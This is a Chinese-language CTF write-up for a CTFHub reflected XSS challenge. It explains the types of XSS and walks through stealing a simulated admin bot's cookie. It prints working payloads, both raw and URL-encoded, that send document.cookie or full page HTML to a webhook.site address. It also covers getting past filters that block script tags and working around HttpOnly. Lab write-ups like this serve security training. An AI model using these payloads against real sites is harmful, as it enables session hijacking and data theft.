CTFHub 反射型 XSS 实战攻略(博客版)
题目类型:反射型 XSS(Reflected XSS)
目标:让题目的 Bot(模拟管理员)访问带 XSS 的链接,把它 Cookie 里的 flag 外带到你能看到的地方
整理时间:2026-08-12
先说清楚这道题在干嘛。它不像 SQL 注入那样直接炸数据库,而是"借别人的浏览器执行一段 JS"。flag 不在页面里、也不在你自己的 Cookie 里,它在题目 Bot 的 Cookie 里。你能做的,是构造一个链接让 Bot 点开,Bot 的浏览器替你跑一段脚本,把它的 Cookie 发到你的接收服务器,然后你去接收服务器上看。下面先把原理铺开,再走流程。
一、先把概念立住:反射型 XSS 到底是个啥
1.1 XSS 三兄弟
XSS(Cross-Site Scripting,跨站脚本)的本质就一句:往网页里塞进一段恶意脚本,让这段脚本在别人的浏览器里执行。按 payload 怎么进页面,分三类:
- 反射型:你提交的数据(通常在 URL 参数里)被服务器原样"反射"回当前响应页面,不存储。必须诱导受害者自己点开那个带 payload 的链接才会触发。
- 存储型:payload 被存进数据库(留言、评论、昵称),之后任何访问该页面的用户都会中招。一次注入、持续生效,危害最大。
- DOM 型 :payload 压根不经过服务器处理,是前端 JS 自己把
location.hash、document.URL之类拼进 DOM 时出的问题。
这道题是反射型 :你的 name 参数被服务器回显到页面,你访问 ?name=<script>... 时那段脚本就出现在返回的 HTML 里。
1.2 为什么叫"反射"
你输什么,服务器就把什么原样"弹"回页面给你,像镜子反射一样,不落库。所以反射型有两个硬约束:第一,payload 在 URL 里,谁点这个 URL 谁中招;第二,它不持久,Bot 点一次只触发一次。
1.3 为什么要有 Bot,为什么要盯着 Cookie
正常你想偷自己浏览器的 Cookie,按 F12 看 Application 就行了,用不着 XSS。这题的关键矛盾是:flag 在 Bot 的 Cookie 里,不在你的 Cookie 里。
题目模拟的是"管理员 Bot":它带着含 flag 的会话 Cookie 去访问页面。你自己的访问,服务器给你的 Cookie 里没有 flag。所以你没法直接看,只能想办法让 Bot 的浏览器替你把它的 Cookie 发出来------这就是 XSS 的价值:脚本是在 Bot 的浏览器上下文里跑的,document.cookie 读到的就是 Bot 的 Cookie。
1.4 数据外带(OOB)的基本思路
脚本在 Bot 浏览器里跑,结果不会显示在你的屏幕上。要让数据到你手里,得把它发到一个你控制的外部服务器 (带外通信,Out-Of-Band)。webhook.site 就是个临时收件箱:它给你一个专属 URL,任何发往这个 URL 的 HTTP 请求都会显示在那个网页上。所以我们让 Bot 的脚本把 Cookie 拼进请求发到 webhook.site,再去网页上看。
二、解题全流程
2.1 确认靶场在线
拿到题目 URL,形如:
http://challenge-xxxxx.sandbox.ctfhub.com:10800
能打开就说明靶场活着。
2.2 先验证漏洞:alert(1)
浏览器直接访问:
http://靶场URL/?name=<script>alert(1)</script>
如果页面弹出 1,说明你输入的内容被原样塞进 HTML 并执行了,XSS 成立。这步只是验证"能注入",后面换成真正外带 Cookie 的 payload。
2.3 准备接收端
打开 https://webhook.site,它会给你一个专属 URL:
https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
别关这个页面。后面 Bot 触发 XSS 后,请求会出现在这里,需要回来刷新看。
2.4 构造攻击 payload
最稳的外带公式:
靶场URL/?name=<img src=x onerror="location='https://webhook.site/你的ID?c='+document.cookie">
拆开看这段 JS 在干啥:
<img src=x>故意给一个不存在的图片地址,x不是合法图片,加载必然失败。onerror="..."图片加载失败时触发,里面是要执行的 JS。location='https://webhook.site/你的ID?c='+document.cookie让 Bot 的浏览器跳转到你的 webhook,并把document.cookie(Bot 的 Cookie)拼到?c=后面。
2.5 URL 编码(最容易翻车的一步)
把上面那段 payload 里的特殊字符全部做 URL 编码,最终粘进「Send URL to Bot」的是编码后的样子:
?name=%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fc%3D%27%2Bdocument.cookie%22%3E
编码不是形式主义,下面第三节专门讲为什么。先记住:只要 payload 带 HTML 标签或引号,就必须编码,编码工具用 https://www.urlencoder.org/。
2.6 发给 Bot
- 把编码后的完整 URL 填进「Send URL to Bot」输入框。
- 点 Send。
- 页面显示 Successfully ------注意,这只代表 URL 已经提交进 Bot 队列,不代表 XSS 执行成功了。如果 webhook 没收到,问题在 payload 本身,不是没点到。
2.7 收 flag
回到 webhook.site,刷新收件箱,找到 Bot 发来的 GET 请求,在 Query strings 里看 c 参数:
c = flag=ctfhub{xxxxxxxxxxxxxxxxxxxxxxxx}
三、原理深挖
3.1 为什么用 <img onerror> 而不是 <script>
"script 执行太早、Cookie 还没设置",这个说法其实不准。在 Bot 场景里,flag Cookie 是 Bot 登录时就设好的,比访问你的链接早得多------所以不管 script 还是 img onerror,跑起来的时候 Cookie 都已经在位了。真正的可靠原因有三条:
- 绕过过滤器 :
<script>是最容易被拦的模式。很多基础的 XSS 防护、WAF、 sanitizer 第一刀就砍<script>标签。而<img onerror>用的是 HTML 标签里的事件处理属性,属于另一类注入点,naive 过滤器常常只堵 script 不堵事件处理器。 - 触发稳定 :
src=x注定加载失败,onerror在元素一解析完就立刻触发,时机非常确定。 - 外带方式稳 :用
location=直接跳转到 webhook,比fetch省事------不用管 CORS、不用管混合内容、在某些 CSP 限制下也更难被拦。
所以选 <img onerror> 不是因为"早不早",是因为它更不容易被过滤、触发更稳、外带更简单。
3.2 location 外带 vs fetch 外带
- location 跳转(上面用的):最省事,把数据塞进跳转目标的 URL 查询参数里,webhook 收到一个 GET 请求就能看到。缺点是 Bot 会真的跳走(不过 CTF 里无所谓)。
- fetch 外带 :
fetch('https://webhook.site/xxx?html='+encodeURIComponent(document.documentElement.innerHTML)),适合不想跳转、或者要发很长的正文(比如整页 HTML)的场景。代价是要考虑 CORS 和 CSP。
短数据(Cookie)用 location 最干净;长数据(整页源码)用 fetch + encodeURIComponent。
3.3 URL 编码到底在防什么
很多人把编码当仪式,其实它防的是两类字符在 URL 解析时被"误读":
&(必须编码成%26) :在 URL 里&是参数分隔符。你的 payload 里一旦有裸&(比如后面追加&u=带当前 URL 时),Bot 的 URL 解析器会把 payload 切成好几段,name参数直接被截断,JS 全碎。这是头号杀手。+(必须编码成%2B) :URL 里+会被解码成空格。你的 JS 里用+做字符串拼接('...?c='+document.cookie),如果裸着发,服务器把+变成空格,JS 变成location='...?c=' document.cookie,语法直接报错。所以+必编码。<>"'=空格:这几个本身不破坏 URL 解析,但编码了能避免回显到 HTML 时的各种边界情况,也防中间代理/WAF 顺手改坏。属于"编了更稳"的保险项。
一句话:& 和 + 是真正会拧断 payload 的,<>"'= 空格是编码了更稳。编码一层就够了,别套多层------服务器和浏览器只会解码一次,套多了反而对不上。
3.4 如果 document.cookie 读不到怎么办
这里有个坑:document.cookie 只能读到没有 HttpOnly 标记 的 Cookie。如果题目把 flag Cookie 设了 HttpOnly(JS 读不到,只有浏览器发请求时自动带),那 document.cookie 会返回空。这题能读到,说明 flag Cookie 没上 HttpOnly。
万一真遇到 HttpOnly,cookie 外带这条路就断了,得换思路:既然 JS 读不到 Cookie,但可以操作页面,那就让 Bot 用它的身份去发请求(比如用 fetch 以 Bot 的身份访问某个内部接口,再把返回内容外带),或者读 document.documentElement.innerHTML 找页面里泄露的信息。CTFHub 这题不需要,但真实渗透里这是常见拐点。
四、实战中什么时候该想到这套打法
按信号强弱分三档:
- 最强信号:题目明说"get the bot's cookie""XSS""Send URL to Bot"。→ 反射型 + webhook 外带,照流程走。
- 中等信号 :你发现某个参数(搜索框、
?name=、?q=、?id=)输入什么,页面就原样显示什么,且显示位置在 HTML 标签之间。→ 先试<script>alert(1)</script>,弹窗就确认可注入。 - 场景信号(真实渗透) :要偷登录用户 Cookie 用存储型更狠(一次注入持久生效);反射型得钓鱼诱导点链接,单次性;DOM 型去看前端 JS 怎么处理
location.hash之类。CTF 里用 Bot 代替"被钓鱼的受害者",省掉社工环节。
核心判断:只要"用户输入被回显进 HTML"且"flag/目标在另一个身份的浏览器里",就往 XSS 外带方向想。
五、常见失败排查
| 现象 | 原因 | 解决 |
|---|---|---|
| webhook 完全没请求 | payload 没编码,XSS 没执行 | 先完整 URL 编码再发 |
| 收到请求但 cookie 为空 | 用了 <script> 被过滤,或 Cookie 是 HttpOnly |
换 <img onerror>,确认 Cookie 非 HttpOnly |
| 收到请求但参数断裂 | & 或 + 没编码,payload 被截断 |
重点编码 &→%26、+→%2B |
| 显示 Successfully 但 webhook 空 | 只代表提交成功,XSS 实际没跑起来 | 检查 payload 完整性和编码 |
| 换 XSS 平台收不到 | 平台域名被墙或过滤 | 改用 webhook.site |
六、核心要点速记
- 反射型 = payload 在 URL、不存储、需诱导触发;Bot 代替被钓鱼的受害者。
- flag 在 Bot 的 Cookie 里,得借 Bot 的浏览器外带,不是看自己的。
- 最稳公式:
<img src=x onerror="location='webhook?c='+document.cookie">,靠事件处理器绕过 script 过滤。 - URL 编码必做,
&和+是真杀手,其余编码了更稳,只编一层。 document.cookie读不到就查 HttpOnly,必要时改用 fetch 以 Bot 身份打内部接口。
七、参考 Payload 合集
外带 Cookie(最常用)
?name=%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fc%3D%27%2Bdocument.cookie%22%3E
外带 Cookie + 当前 URL
?name=%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fc%3D%27%2Bdocument.cookie%2B%27%26u%3D%27%2Blocation.href%22%3E
外带完整页面 HTML(用 fetch,长数据必须 encodeURIComponent)
?name=%3Cimg%20src%3Dx%20onerror%3D%22fetch%28%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fhtml%3D%27%2BencodeURIComponent%28document.documentElement.innerHTML%29%29%22%3E